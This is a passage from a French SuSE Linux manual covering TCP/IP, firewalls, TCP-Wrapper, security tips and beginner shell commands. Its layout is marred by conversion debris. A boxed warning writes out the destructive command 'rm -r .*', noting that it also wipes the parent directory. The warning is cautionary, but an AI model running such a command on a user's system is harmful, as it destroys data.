utilisée pour les communications Internet est connue sous le nom de ``TCP/IP''. Les acronymes TCP/IP signifient Transmission Control Protocol et Internet Protocol. À l'heure actuelle, TCP/IP est dispo- nible pour presque toutes les plates-formes matérielles, systèmes d'exploita- tion et réseaux. Il a été développé par le Ministère américain de la Défense (United States Department of Defence - DoD) et présenté pour la première fois au public en 1978. Un réseau TCP/IP permet l'échange d'informations entre différents sys- tèmes d'ordinateurs. Il rassemble les données en paquets, appelés aussi datagrammes, et achemine ensuite ces paquets. Chaque paquet commence 476 _________________________________________________________________________________________________________________18.2.__Outi* *ls____________________ par un en-tête qui contient différentes informations telles que, par exemple, l'adresse de la machine de destination. Cet en-tête est suivi des données à transmettre. Dans le cas, par exemple, ou un fichier doit être transporté d'une machine vers une autre à travers le réseau, le contenu de ce fichier est transformé en une série de paquets qui sont envoyés à la machine de destination. C'est le protocole TCP (angl. Transmission Control Protocol) qui assure une transmission sans erreurs des paquets. Ce protocole veille par exemple à ce que les paquets parviennent au destinataire dans un ordre exact. TCP consti- tue la couche de transport et signale à la couche IP supérieure les erreurs auxquelles il n'est pas possible de remédier. Un autre protocole de transport de cette famille est UDP. Ce protocole ne garantit pas une transmission sans erreurs des paquets, ce qui le rend plus rapide que TCP. Mais lorsqu'on utilise UDP il doit être garanti d'une autre manière (par l'application) que les erreurs de transmission seront reconnues et corrigées. Une adresse IP (IP version 4) est une valeur de 32 bits. Pour rendre les adresses IP plus facilement lisibles, on les écrit en portions décimales de 8 bits séparées par des points (par exemple 192.168.0.20). Afin qu'une machine puisse gérer simultanément plusieurs connexions et qu'il soit possible de différencier ces connexions les unes des autres, la communication a lieu à travers des ports (de 0 à 65535). Il est assigné des connexions à ces ports, ce qui signifie que l'on inscrit dans l'en-tête d'un paquet TCP ou UDP non seulement l'adresse de la machine expéditrice (adresse source) et l'adresse de la machine destinataire (adresse de destination) mais aussi le port source et le port de destination. Une partie des ports de 0 à 65535 est par définition réservée à certains services (voir /etc/services). Le port TCP 23 est par exemple réservé aux connexions telnet. Une autre ré- servation concerne les ports de 0 à 1023 (TCP et UDP). Il s'agit de ce que l'on appelle les ports privilégiés. C'est sur ces ports que les programmes réputés dignes de confiance, souvent exécutés avec les privilèges de l'administrateur système (droits `root'), offrent leurs services (voir /etc/services). Les ports de 1024 à 65535 sont considérés comme étant des ports non privilé- giés. Cette différence peut être illustrée par un exemple quelque peu simplifié. Un serveur FTP propose ses services sur le port TCP 21. Si un client FTP est démarré sur la machine avec l'adresse IP 192.168.3.5 (client) par la com- mande tux@terre:/home/tux > ftp 192.168.3.16 le client établira une connexion TCP avec le port 21 de la machine avec l'adresse IP 192.168.3.16 (serveur). Sur le port 21, le serveur FTP répondra et exécutera la procédure d'identification de l'utilisateur (demande du nom de login et du mot de passe). Les commandes FTP lancées par l'utilisateur après le login seront également transmises à travers cette connexion. Si des données doivent être transmises du serveur au client (après entrée de la commande ls ou de la commande get ), le serveur établira de lui-même une connexion avec un port non privilégié du client. C'est par cette connexion que seront transmises les données proprement dites. * * 477 18. La sécurité est_une_question_de_confiance_____________________________________________________________________________________* *_______________________________________@ TCP/IP a été conçu pour des réseaux de très grande taille et inclut de ce fait des mécanismes de structuration d'un réseau. La totalité de la zone d'adresses de 32 bits peut être subdivisée en ``sous-réseaux''. La formation des sous- réseaux se fait en déclarant qu'un certain nombre de bits (en commençant par la gauche) constituent l'adresse d'un sous-réseau. Dans un sous-réseau ayant l'adresse 192.168.3.0 , les 24 premiers bits constituent l'adresse réseau. Le masque de sous-réseau 255.255.255.0 détermine par exemple que la machine dont l'adresse est 192.168.3.5 se trouve dans le sous-réseau avec l'adresse 192.168.3.0 . À l'intérieur d'un grand réseau, les sous-réseaux sont généralement reliés par des routeurs. Les routeurs sont soit des périphériques spécialisés, soit des ma- chines spécialement équipées qui veillent à ce que les paquets prennent le bon chemin et arrivent bien à destination. Le pendant du masque de sous-réseau est l'adresse de diffusion (angl. broadcast). Cette adresse de diffusion permet de contacter toutes les machines d'un sous-réseau. Exemple : Toutes les ma- chines du réseau 192.168.3.0 peuvent être contactées à travers l'adresse de diffusion 192.168.3.255 . Si votre raccordement à Internet est réalisé, votre machine est devenue un élément de ce grand réseau mondial. Dès que la connexion au fournisseur d'accès est activée, celui-ci est accessible à partir d'Internet. Il s'agit donc maintenant de prendre les mesures nécessaires pour parer à des accès non autorisés.|Cette tâche est assumée par le filtre de paquets Firewall SuSE . * * | ________________________________________________________________________________________________________* *________|||| | * * ||| | Les filtres de paquets sont des pare-feu (angl. firewalls) de niveau réseau. * * ||| | Ils prennent leurs décisions en se basant par principe sur les adresses * * ||| | * * ||| | sources, les adresses de destinations et les ports dans les différents pa- * * ||| | quets IP. Un simple routeur ou le filtre de paquets Firewall SuSE sont * * ||| | * * ||| | des pare-feu traditionnels de niveau réseau. Comme il ne sont pas assez * * ||| | * * ||| | intelligents pour juger de l'importance que peut avoir le contenu d'un * * ||| | paquet IP ni pour en déterminer la provenance exacte, ils n'offrent pas * * ||| | * * ||| | une protection absolument complète contre les attaques. Certains pare- * * ||| | feu réseau modernes pour Linux (tel que par exemple SINUS Firewall I , * * ||| | * * ||| | http://www.sinusfirewall.org) sont plus sophistiqués et recueillent * * ||| | * * ||| | des informations internes sur le statut des connexions qui passent par eux, * * ||| | le contenu des flux de données, etc. Par contre, les pare-feu de niveau ap- * * ||| | * * ||| | plication (par exemple TIS Firewall Toolkit ) sont en général des machines * * ||| | sur lesquelles tournent des serveurs proxy qui enregistrent et contrôlent * * ||| | * * ||| | soigneusement le trafic de données qui passe par eux. Comme les serveurs * * ||| | proxy sont des programmes qui tournent sur le pare-feu, ils se prêtent de fa- * * ||| | * * ||| | çon idéale aux tâches d'enregistrement et de protection contre les attaques. * * ||| |_______________________________________________________________________________________________________* *________|||_ Où mettre en oeuvre le filtre de paquets Firewall SuSE ? Pour les ré- seaux qui requièrent une norme de protection particulièrement élevée (c'est en fait le cas partout où des données de caractère personnel sont stockées), ce sont les pare-feu de niveau application qui, de par leur principe de fonction- nement, constituent le meilleur choix. Pour de tels réseaux, le filtre de paquets Firewall SuSE n'offre pas une protection suffisante. 478 _________________________________________________________________________________________________________________18.2.__Outi* *ls____________________ Le filtre de paquets Firewall SuSE a été conçu pour assurer la protection d'un PC privé, d'un mini-réseau domestique ou d'une station de travail dans un environnement réseau digne de confiance. Pour la protection d'un réseau d'entreprise, vous ne devriez utiliser le filtre de paquets Firewall SuSE que si vous savez exactement ce que vous faites (voir la bibliographie). La mise en place et la maintenance de pare-feu requièrent des connaissances approfondies dans le domaine des réseaux et des protocoles réseau. Une in- terface graphique ou une configuration prédéfinie comme le filtre de paquets Firewall SuSE ne peuvent pas remplacer ces connaissances absolument indis- pensables. Vous trouverez la documentation concernant le filtre de paquet Firewall SuSE dans /usr/doc/packages/firewals et /etc/rc.firewall. Le projet Freefire, auquel vous pouvez vous adresser, constitue une bonne source d'informations pour tous ceux qui s'intéressent aux firewalls sur la base des logiciels libre (http://sites.inka.de/sites/lina/ freefire-l/index.en.html). Le TCP-Wrapper Le TCP-Wrapper (tcpd ) permet d'accorder l'accès à certains services pour des réseaux ou adresses IP déterminés. tcpd est déjà inclus dans SuSE Linux comme vous pouvez le voir dans le fichier 18.2.2 page 476 ainsi que dans /etc/inetd.conf à la 6ème colonne. Le concept est très simple : tcpd lance les services demandés après avoir contrôlé si le client est autorisé à y accéder. Ce contrôle d'accès est géré par les deux fichiers /etc/hosts.allow et /etc/hosts.deny. ~ L'accès est accordé si la combinaison client/service se trouve dans le fichier /etc/hosts.allow. ~ L'accès est refusé si cette combinaison se trouve dans le fichier /etc/ hosts.deny. ~ S'il n'existe aucune règle ni dans l'un ni dans l'autre des fichiers, l'accès est accordé. _______________________________________________________________________________________________________________________|| |||||||| La première règle trouvée est mise en application. Cela signifie que si ||| | |||||||| || | |||||||| par exemple l'accès à un port Telnet est autorisé dans le fichier /etc/ || | |||||||| hosts.allow, l'accès sera accordé même s'il est refusé dans le fichier || | |||||||| || | |||||||| /etc/hosts.deny. || | ||||||||_______________________________________________________________________________________________________________||_ Dans la page de man de hosts_access (man 5 hosts_access ), vous trou- verez une description de la syntaxe de ces fichiers. Une alternative à la combinaison TCP-Wrapper/inetd est constituée par xi- netd (paquetage xinetd, série n (support réseau)). qui réunit les fonctionna- lités de inetd et tcpd . Il existe toutefois un inconvénient qui est l'incompati- bilité des fichiers de configuration inetd et xinetd . * * 479 18. La sécurité est_une_question_de_confiance_____________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________ | Il n'est possible de démarrer que l'un des deux ``super-serveurs'' Internet. * * ||| | * * ||| | Vous devez donc vous décider pour l'un ou pour l'autre. * * ||| |_______________________________________________________________________________________________________* *________|||_ Dans la série sec (logiciels relatifs à la sécurité du système), vous trouve- rez d'autres programmes qui vous aideront à construire un système sécurisé. Fouinez tout simplement parmi tous les paquetages de cette série. 18.3 Sécurité sous SuSE Linux SuSE propose les services suivants dans le but de fournir une distribution qui réponde le mieux possible aux critères de sécurité : Deux listes de diffusions ouvertes à tous : ~ suse-security-announce ~ contient les annonces SuSE relatives aux questions de sécurité. ~ suse-security ~ contient les annonces et accueille aussi des discus- sions ouvertes à tous. Pour vous abonner à l'une des deux listes de diffusion, il vous suffit d'adres- ser un E-mail vide à suse-security-subscribe@suse.com ou à suse-security- announce-subscribe@suse.com. Centralisation des messages relatifs aux nouveaux problèmes de sécu- rité : Si vous rencontrez un nouveau problème de sécurité (vérifiez auparavant les mises à jour disponibles), envoyez à security@suse.de un E-mail décrivant ce problème. Nous le traiterons immédiatement. Vous pouvez encoder les données avec le paquetage pgp (+ Encryptage). Notre public pgp key 6 peut être téléchargée sous http://www.suse.de/security 18.4 Informations d'ordre général 1. Le compte `root' ne devrait être utilisé que pour des tâches relatives à l'administration du système. Pour le travail quotidien, il est recommandé de créer un compte utilisateur. 2. Évitez d'utiliser telnet , rlogin et rsh . 3. Utilisez à la place ssh lorsque vous devez travailler à distance. 4. Désactivez tous les services réseau qui ne sont pas indispensables. 5. Mettez régulièrement à jour les paquetages qui jouent un rôle important dans la sécurité de votre système, tels que le paquetage bind, le paquetage sendmail et le paquetage ssh. 6. Supprimez, dans tous les fichiers du système, les bits suid et sgid qui ne sont pas absolument indispensables au travail d'un utilisateur normal. 7. Vérifiez régulièrement vos fichiers de trace. _____________________________________________6 PGP Key fingerprint = 73 5F 2E 99 DF DB 94 C4 8F 5A A3 AE AF 22 F2 D5 480 Chapitre 19 Débuts sous Linux Unix est un système d'une telle complexité que nous ne pouvons tenir compte ici que de ses aspects essentiels. Le présent manuel n'a pas été conçu pour remplacer une documentation Linux ou Unix déjà existante. Ce n'est pas son objectif et ce serait de toute façon impossible. Nous recommandons en tout cas aux utilisateurs de DOS qui veulent passer à Linux de se procurer un manuel adéquat. Vous trouverez des titres dans la bibliographie en annexe. Si vous possédez déjà des livres sur Unix non spé- cifiques à Linux, ils peuvent éventuellement suffirent du fait que la majeure partie des informations n'est pas strictement liée au système. Certains livres ou extraits de livres soumis aux termes de la GPL sont dispo- nibles sous forme de fichiers .dvi ou fichiers PostScript dans le paquetage doc, série books. Ils peuvent être visualisés sous X11 avec XDvi (xdvi ) ou avec Ghostview (gv ) et peuvent être imprimés entièrement ou partiellement avec lpr . Mais en attendant d'avoir en mains votre livre Unix, vous devriez lire les informations qui suivent. Elles vous donneront très probablement envie d'ap- profondir davantage. En tant que nouveau venu sous Unix, vous devriez, après avoir mené votre installation à bonne fin, vous connecter à votre système sous le nom d'utili- sateur que vous avez défini lors de l'installation et non pas sous le compte `root'. Non seulement parce que vous trouverez ainsi un bon nombre de paramètres prédéfinis qui vous faliciteront les débuts mais aussi parce que vous ne serez responsable que de votre + répertoire personnel (angl. home directory) ainsi qu'il est d'usage sous les systèmes Unix. Cette méthode, qui consiste à travailler sous un nom d'utilisateur, a pour but de garantir la sé- curité du système. Le risque d'effacer ou de modifier par inadvertance des fichiers importants pour le système est pratiquement éliminé. _______________________________________________________________________________________________________________________|| |||||||| L'option undelete disponible sous DOS n'existe pas (encore) sous Linux ||| | |||||||| et vous serez éventuellement obligé, si vous effacez ou modifiez involon- || | |||||||| || | |||||||| tairement un fichier, de procéder à une nouvelle installation complète. || | ||||||||_______________________________________________________________________________________________________________||_ Les premiers pas sous Linux semblent parfois difficiles car un débutant se voit confronté dès son premier contact avec Linux à la tâche extrêmement complexe d'un administrateur système. * * 481 19. Débuts sous Linux_____________________________________________________________________________________________________________* *_______________________________________@ 19.1 Connexion au système, utilisateur `root', créer un compte utilisateur Linux étant un système d'exploitation multiutilisateur, vous devrez toujours vous connecter sur la + console que vous souhaitez utiliser1 (voir para- graphe 19.4 page 485). Cette procédure, qui est un élément essentiel du concept de sécurité d'un système multiutilisateur moderne, s'appelle login. Elle garantit, entre autre, que chaque utilisateur dispose de son propre envi- ronnement de travail et n'accède qu'à ses propres données. Vous devez donc entrer votre nom d'utilisateur (par exemple `tux') et votre mot de passe (par exemple xxxxxx , les caractères xxxxxx devant être remplacés par votre propre mot de passe que vous vous êtes vous-même attribué !). Les caractères xxxxxx ne sont pas affichés à l'écran._Entrez-les simplement les uns après les autres et appuyez ensuite sur |E_________|ntrée2: login: tux |__________|Entrée Password: xxxxxx |__________|Entrée Si vous avez réussi à vous connecter, vous vous trouvez dans votre répertoire personnel (par exemple /home/tux pour l'utilisateur `tux'). Si vous voulez quitter la console (vous déconnecter du système) vous devez entrer logout ou exit . L'utilisateur `root' agit en tant qu'+ administrateur système et il a vraiment TOUS les droits. Les fichiers système cruciaux ne peuvent être manipulés que par `root'. Vous ne devez donc vous connecter sous le compte `root' que si vous avez vraiment l'intention de tirer parti de ces possibilités. Sinon connectez-vous comme simple utilisateur afin de protéger votre système de modifications que vous pourriez faire par inadvertance et qui vous oblige- raient éventuellement à procéder à une nouvelle installation. Voici certaines choses qui ne sont permises qu'à l'utilisateur `root' : ~ + Montage de systèmes de fichiers tels que CD et disquettes et par voie de conséquence installation de logiciels. Ce droit peut aussi être accordé à tout autre utilisateur par l'option user ajoutée au périphérique corres- pondant dans /etc/fstab (paragraphe 19.11.2 page 500). ~ Ajout et suppression d'utilisateurs (paragraphe 3.6.7 page 111). ~ Installation d'un nouveau noyau (chapitre 13 page 359). ~ Configuration du système. ~ Arrêt du système (paragraphe 19.2 page suivante). ~ Lancement de YaST (chapitre 3 page 81). _____________________________________________1 Si vous avez configuré un login graphique (voir paragraphe 3.6.5 page 109), la procédure que nous allons décrire sera bien sûr valable aussi dans ce cas ! 2 Si vous n'avez pas de mot de passe, tapez simplement |__________|Entréeau début ! 482 ____________________________________________________________________________19.2.__Arrêt_du_système_et_amorçage_____________* *______________________ 19.2 Arrêt du système et amorçage _______________________________________________________________________________________________________________________ |||||||| || | |||||||| IMPORTANT : Vous ne devez en aucun cas couper le courant pendant le || | |||||||| || | |||||||| fonctionnement de votre système ou actionner le bouton de remise à zéro || | |||||||| (+ réinitialisation) sous peine d'endommager votre + système de fichiers || | |||||||| || | |||||||| et de provoquer une perte de données. || | ||||||||_______________________________________________________________________________________________________________||_ Pour un arrêt correct de votre machine (angl. shutdown), utilisez les com- mandes que vous montre le tableau 19.1. _______________________________________________________________________________________________________________________ shutdown -h now arrête le système (lorsque vous voyez affiché à l'écran : "the system is halted", vous pou- vez arrêter sans aucun risque) shutdown -r now redémarre immédiatement le système après l'arrêt _______________________________________________________________________________________________________________________ Tab. 19.1: Commandes pour l'arrêt du système Linux La commande shutdown dans toutes ses variantes ne peut généralement être exécutée que par l'utilisateur `root'. Pour arrêter votre système, vous devez donc vous connecter sous le compte `root' et lancer la commande shutdown -h now ou la commande shutdown -r now . Mais vous avez aussi l'alternative, comme cela se fait sous_DOS,_d'effectuer_ _______ un redémarrage_en_utilisant_la combinaison_de touches |C______|trl+ |A____l|t+ |S_______u|ppr ( Ctrl ||||||||__+ |A____l|t+ |D____e|l). Comme cette combinaison de touches ne fonctionne pas sous X, vous devrez tout d'abord quitter X. Cette méthode peut toutefois être employée par n'importe quel utilisateur dans la console texte. 19.3 Commandes et lignes de commandes Bien que le système Linux soit de plus en plus accueillant et convivial grâce par exemple aux programmes pilotés par menu, il est souvent indispensable, en cas de catastrophe ou s'il n'existe pas de tels programmes pour réaliser certaines tâches particulières, d'avoir recours aux commandes Unix. Que sont les commandes Unix ? Les commandes Unix sont ~ des programmes exécutables ~ des scripts shell (fichiers de commandes) ~ des scripts de langages de scripts tels que Perl, Tcl etc. ~ des alias de commandes shell (comparables à des macros). * * 483 19. Débuts sous Linux_____________________________________________________________________________________________________________* *_______________________________________@ Le point commun de toutes ces commandes est qu'elles se trouvent dans des fichiers : Lorsque l'on invoque un programme sous Linux, on donne l'ordre au shell de rechercher le fichier avec le nom du programme (pour cela on a besoin du chemin d'accès représenté dans la variable PATH). Lorsque le programme a été retrouvé, on doit ensuite l'exécuter s'il possède les droits requis (exécutable). Mais que se passe-t-il si l'on doit encore faire savoir au programme (par exemple à une commande de copie) quels fichiers sont concernés ? Le problème est relativement simple à résoudre car il existe ce que l'on ap- pelle les paramètres (angl. parameter). Les paramètres sont des arguments ajoutés à une commande pour lui fournir les données nécessaires. Les para- mètres sont insérés dans la ligne de commande après le nom de la commande dont ils doivent être séparés par au moins un espace3 . Il peut souvent aussi être nécessaire de pouvoir influencer le comportement d'une commande (dans le cas par exemple ou l'on souhaite obtenir l'affichage long d'un répertoire et non pas une simple liste des noms des fichiers). Ceci se fait sous Linux au moyen d'options. Les options sont toujours situées directe- ment après le nom de la commande et avant les paramètres. Les commandes incorrectement pogrammées constituent des exceptions mais ne sont pas ex- clues. Les options sont le plus souvent marquées par un signe de soustraction (par exemple -la ) et peuvent suivre deux schémas (voir tableau 19.2). ________________________________________________________________________________________________________* *________ -a Forme courte, en usage sous Unix --all Forme longue, dite notation GNU ________________________________________________________________________________________________________* *________ Tab. 19.2: Options pour les commandes Il existe de nombreux programmes Linux capables de ``cumuler'' plusieurs options si celles-ci sont nécessaires. Cela signifie que les options énumérées les unes après les autres ne seront pas toutes précédées du signe de soustrac- tion. Seule la première aura ce signe, les autres seront écrites directement derrière. Exemple : -a -f -r -u ou -afru ou -frua L'exemple nous montre aussi que l'ordre des options est en général sans importance. Mais il existe bien sûr des exceptions qui confirment la règle. Et pour couronner le tout, les options elles-mêmes peuvent aussi accepter des paramètres : -f ou -f Dans certains cas (plutôt rares), il peut ne pas être déterminant que l'option soit séparée ou non de son paramètre par un espace. Mais en général on devrait laisser un espace. _____________________________________________3 Ceci implicite qu'un espace n'est pas un élément du paramètre puisqu'il s'agit du ``séparateur'' d'arguments. Les espaces ne peuvent apparaître dans un paramètre que si celui-ci est placé entre guillemets "" ou entre des caractères d'apostrophe ''. 484 ____________________________________________________________________________________________19.4.__Consoles_virturelles_____* *______________________ Exemples Une commande sous Linux a l'aspect suivant4 : terre: # fdisk terre: # lsmod terre: # ls Voici ce qu'il en est pour les options : terre: # fdisk -v terre: # ls -l -a terre: # ls -la Pour les paramètres : terre: # fdisk /dev/hda terre: # ls /tmp Et pour les options et paramètres : terre: # ls -la /tmp terre: # rpm -qpl .rpm terre: # gcc -o L'espace est un caractère d'une grande importance dans une suite de com- mandes sous Linux car il est essentiel que les éléments d'une commande soient tous séparés les uns des autres par des espaces. 19.4 Consoles virturelles Linux est un système + multitâche et multiutilisateur. Même si vous possé- dez un système PC mono-utilisateur, vous ne tarderez pas à apprécier cette fonctionnalité : En mode texte, vous disposez de 6 + consoles virtuelles entre_lesquelles_vous____ pouvez basculer à l'aide des combinaisons de touches de |A____l|t+ |F___|1à |A____l|t+ F6 . |||||||||__La septième console est réservée à X11.5 Si vous voulez, depuis X11, basculer vers une console _texte_ sans terminer_ l'exécution de X11, utilisez les combinaisons de touches de |C______t|rl+ |A____l|t+ F1 à|||||||||__||__Ctrl+ |A_____|lt+ |F___|_6. Avec |A_____|lt+ |F___|_7vous revenez à X11. 19.5 Répertoires et noms de fichiers Toutes les informations ~ qu'il s'agisse de textes, d'images, de bases de données ou de tâches pour la configuration du système ~ sont enregistrées dans des ``fichiers'' placés à leur tour dans des ``répertoires'' (voir annexe D page 531). Avec tous les outils et programmes, il est possible d'accéder aux fichiers des différents répertoires afin de les lire ou de les modifier. Sous Unix, le caractère de séparation des répertoires dans les chemins est la barre oblique de division `/' (angl. slash) (sous DOS, c'est la barre oblique inversée `\'). Un chemin est donc une chaîne de caractères dans laquelle les noms de répertoires sont séparés par `/'. Un seul slash `/' désigne le répertoire en tête de la hiérarchie. Il s'agit du + répertoire racine. ____________________________________________________ 4 À titre de rappel : ``terre: # '' affiche l'invite (angl. prompt). Vous n'avez pas à entrer ces mots et caractères 5 En modifiant le fichier /etc/inittab, vous pouvez disposer d'un nombre supérieur ou infé- rieur de consoles. * * 485 19. Débuts sous Linux_____________________________________________________________________________________________________________* *_______________________________________@ Unix différencie les majuscules et les minuscule, ce qui signifie que le nom de fichier Emil ne désigne pas le même fichier que le nom emil. Il n'est en général pas nécessaire de diviser les noms de fichiers en nom et extension à moins que certains programmes ne le requièrent (par exempleALTEX). ________________________________________________________________________________________________________* *________|| | La touche de tabulation |T_____|abfacilite l'entrée des noms de fichiers ou de * * |||| | * * ||| | répertoires.__Il vous suffit de taper les premières lettres du fichier et de * * ||| | presser |Tab |. L'+ interpréteur de commandes complète le nom du fichier * * ||| | ____ * * ||| | (dans la mesure où il est défini sans ambiguïté par la ou les premières * * ||| | lettres). En cas d'ambiguïté, appuyez deux fois sur la touche de tabulation * * ||| | * * ||| | afin de voir toutes les possibilités. * * ||| |_______________________________________________________________________________________________________* *________|||_ 19.6 Travailler avec les répertoires Après vous être connecté à votre système (paragraphe 19.1 page 482), vous vous trouvez dans votre répertoire personnel. Le nom du répertoire courant peut être affiché par la commande pwd (angl. print working directory) tux@terre:/home/tux > pwd /home/tux Tout comme sous DOS, la commande cd (angl. change directory) sert à chan- ger de répertoire. L'entrée de tux@terre:/home/tux > cd /usr/bin tux@terre:/usr/bin > fait donc passer dans le répertoire /usr/bin, tux@terre:/home/tux > cd latex tux@terre:/home/tux/latex > fait passer dans le sous-répertoire latex à condition que le répertoire /home/tux/latex soit présent dans le répertoire personnel de `tux'. Si vous invoquez cd sans argument, votre répertoire personnel sera changé. Le répertoire personnel peut aussi être indiqué par le tilde ` '. L'entrée de tux@terre:/home/tux > cd ~/latex fait passer dans le répertoire latex qui est dans le + répertoire personnel de l'utilisateur qui a lancé la commande. Tout comme sous DOS, le méta- caractère `..' correspond au répertoire père du répertoire courant et le point `.' au répertoire courant. Les nouveaux répertoires sont créés par la commande mkdir (angl. make directory). Par l'entrée de tux@terre:/home/tux > mkdir texte il est créé un sous-répertoire texte dans le répertoire correspondant. Les répertoires vides peuvent être effacés avec la commande rmdir (angl. remove directory). 19.7 Travailler avec les fichiers Avant d'être (peut-être) remplacés un jour par des objets ou des symboles, les fichiers sont d'une importance primordiale pour le travail sur ordinateur. Il existe par conséquent sous Linux un très grand nombre de commandes se rapportant aux fichiers. 486 __________________________________________________________________________________19.7.__Travailler_avec_les_fichiers_______* *______________________ 19.7.1 Informations sur les fichiers La commande ls affiche le contenu du répertoire courant. Vous pouvez voir une liste de tous les noms de fichiers et noms de répertoires contenus dans le répertoire courant. Les noms de répertoires sont marqués par une barre oblique `/'. En spécifiant un paramètre, on peut aussi obtenir l'affichage d'un autre répertoire : tux@terre: > ls /usr/bin Les programmes exécutables ne sont pas marqués par des extensions comme .exe ou .com sous DOS. Lorsqu'il est établi une liste avec ls , les noms sont suivis d'une astérisque et/ou mis en évidence en rouge . Voir la documenta- tion relative à ls , par exemple la sortie de tux@terre: > ls --help On ne doit jamais spécifier explicitement l'astérisque, elle est affichée der- rière le nom de fichier correspondant du seul fait que le programme possède l'attribut ``executable'' (voir Informations sur les fichiers ( page 492)). -l est une option très utile de ls . Elle permet l'affichage d'informations com- plémentaires concernant les entrées de fichiers ou de répertoires telles que propriétaire, appartenance à un groupe et taille : tux@terre: > ls -l Ceci crée une sortie telle que celle de l' affichage à l'écran 19.7.1. _______________________________________________________________________________________________________________________|| ||||||||drwxr-xr-x 6 tux users 1024 Mar 21 12:39 ./ | ||||||||drwxr-xr-x 4 tux users 1024 Mar 21 17:13 ../ | |||||||| | ||||||||drwxr-xr-x 2 tux users 1024 Nov 6 16:19 bin/ | ||||||||-rwxr-xr-x 1 tux users 4160 Mar 21 12:38 check* | |||||||| | ||||||||drwxr-xr-x 2 tux users 1024 Nov 6 16:23 etc/ | ||||||||drwxr-xr-x 2 tux users 1024 Nov 6 16:19 sbin/ | |||||||| | ||||||||drwxr-xr-x 12 tux users 1024 Nov 6 18:20 usr/ | ||||||||-rw-r--r-- 1 tux users 185050 Mar 15 12:33 xvi.tgz | |||||||| | ||||||||-rw-r--r--____1____tux__users____98444____Mar__14____12:30__xvnews.tgz_________________________________________ | affichage à l'écran 19.7.1: Affichage de ls -l La signification des différents champs dans l'affichage à l'écran 19.7.1 est expliquée dans la tableau 19.3 page suivante. * * 487 19. Débuts sous Linux_____________________________________________________________________________________________________________* *_______________________________________@ _______________________________________________________________________________________________________* *_________ Droits Le premier caractère de ce champ désigne le type du fichier. `d' signifie répertoire, `l' lien et `-' un fichier normal. Les 9 caractères suivants dési- gnent les droits d'accès pour le propriétaire, le groupe et tous les autres utilisateurs (respecti- vement 3 caractères). `r' signifie lecture, `w' écriture et `x' exécution. Exemple : `-rw-r~ r~' désigne un fichier qui peut être lu par son propriétaire, les membres du groupe et tous les autres mais ne peut être modifié que par son seul propriétaire. Voir la page de man de chmod (man chmod ). Propriétaire Le propriétaire du fichier. Voir la page de man de chown (man chown ). Groupe Le groupe auquel appartient le fichier. voir la page de man de chgrp (man chgrp ). Taille La taille du fichier en octets. dernière modification La date de la dernière modification du fichier. Pour les fichiers dont la dernière modification remonte à plus d'un an, l'heure est remplacée par l'année. Nom Le nom du fichier ou du répertoire. _______________________________________________________________________________________________________* *_________ Tab. 19.3: Signification des attributs de fichiers Unix 19.7.2 Wildcards ~ un petit coup d'oeil Les + wildcards que l'on peut utiliser à l'aide des interpréteurs de commandes (par exemple bash ) offrent des possibilités bien plus étendues que celles dis- ponibles sous DOS. Sous Linux, les wildcards ou caractères jokers ne se limitent pas à l'asté- risque `*' et au point d'interrogation ` ?'. Vous pouvez avec tux@terre: > ls *a???.? voir tous les fichiers du répertoire courant dont le sixième caractère, en comp- tant à partir de la fin, est un `a' et dont le dernier caractère dans le nom de fichier est un point `.'. À la place du caractère `a', il pourrait y avoir toute une série de caractères différents, par exemple les lettres `a', `b', `c', `d', `e', `f'. Dans notre exemple, la commande serait alors : tux@terre: > ls *[a-f]???.? Il est même possible de faire rechercher des caractères qui ne se suivent pas dans l'ordre alphabétique : tux@terre: > ls *[1,3-5,M-P,a,k]???.? 488 __________________________________________________________________________________19.7.__Travailler_avec_les_fichiers_______* *______________________ 19.7.3 Contenu des fichiers Vous pouvez visualiser le contenu d'un fichier page par page avec les com- mandes more et less . Avec la commande more classique on ne peut faire défiler que vers le bas6 . less étant nettement plus confortable, on devrait lui donner la préférence. Avec tux@terre: > less /etc/login.defs on charge le fichier /etc/login.defs dans le ``visualiseur'' less . Ce n'est pas très spectaculaire ~ une ligne de statut en surbrillance est ajoutée exacte-__ ment une fois à la première page du fichier_sur le bord inférieur. Avec |_________E|space, on peut avancer d'une page et avec |b_ |, on peut revenir une page en arrière. Voir l'énumération dans le tableau 19.4. ______________________________________________________________________________________________________________________ h Aide q Quitter e Une ligne en avant y Une ligne en arrière f Une page en avant b Une page en arrière d Une demie page en avant u Une demie page en arrière g Aller au début du fichier G Aller à la fin du fichier / Démarrer la recherche n Rechercher la prochaine occurrence v Charger le fichier dans l'+ éditeur F Observer la ``croissance'' d'un fichier de trace (log) ^c Revenir du mode F au mode ``normal'' ______________________________________________________________________________________________________________________ Tab. 19.4: Touches du ``visualiseur'' less (sélection) Avec ||__|_/, vous démarrez la recherche_ d'une chaîne de caractères_ (par exemple yes ) que vous entrez avec |_____-|. Avec la touche |_n|, vous obte- nez l'affichage de la prochaine occurrence de yes . La touche |__F|présente un certain intérêt. Vous pouvez vous en servir pour_voir_ par exemple de nouvelles entrées s'ajouter à un fichier de trace. Avec |C______|trl+ c , v|||||||||__ous quittez ce mode Avec h||||__, vous obtenez_une liste de toutes les fonctionnalités que less met_à disposition. Avec |q_ |, vous quittez ``l'aide'' et en appuyant de nouveau sur |q_ | vous terminez complètement le programme et vous vous retrouvez à l'invite de la ligne de commande. 6 ____________________________________________________ more sous Linux peut davantage ~ voir page de man de more (man more ) ;-) * * 489 19. Débuts sous Linux_____________________________________________________________________________________________________________* *_______________________________________@ Pour modifier des fichiers textes, utilisez un + éditeur. L'éditeur standard d'un système Unix est vi avec lequel vous devez absolument vous familiariser dès que vous aurez quelques minutes à lui consacrer en toute tranquillité. 19.7.4 Fichiers cachés Les fichiers cachés sont une classe spéciale de fichiers. Les noms de fichiers commencent par un point et ne sont affichés par le shell que si l'on invoque ls avec l'option -a . Entrez simplement dans votre répertoire utilisateur la commande ls -a . Maintenant, les fichiers ``cachés'' dont le nom est précédé d'un point tels que ~/.profile et ~/.xinitrc devraient aussi être présents dans la liste. Les fichiers cachés sont protégés contre un effacement involon- taire par rm * (voir paragraphe 19.7.5) et doivent, lorsque c'est nécessaire, être effacés explicitement par rm <.nom_de_fichier> . ________________________________________________________________________________________________________* *________|| | L'entrée de rm .* efface tous les fichiers cachés du répertoire courant. * * |||| | * * ||| | Si vous utilisez en plus l'option -r (angl. recursive) (rm -r .* ), tous les * * ||| | fichiers du répertoire père seront aussi effacés car ils sont représentés par * * ||| | * * ||| | `../bla' qui est aussi couvert par `.*'. * * ||| | Vous devriez par ailleurs toujours faire preuve de la plus grande prudence * * ||| | 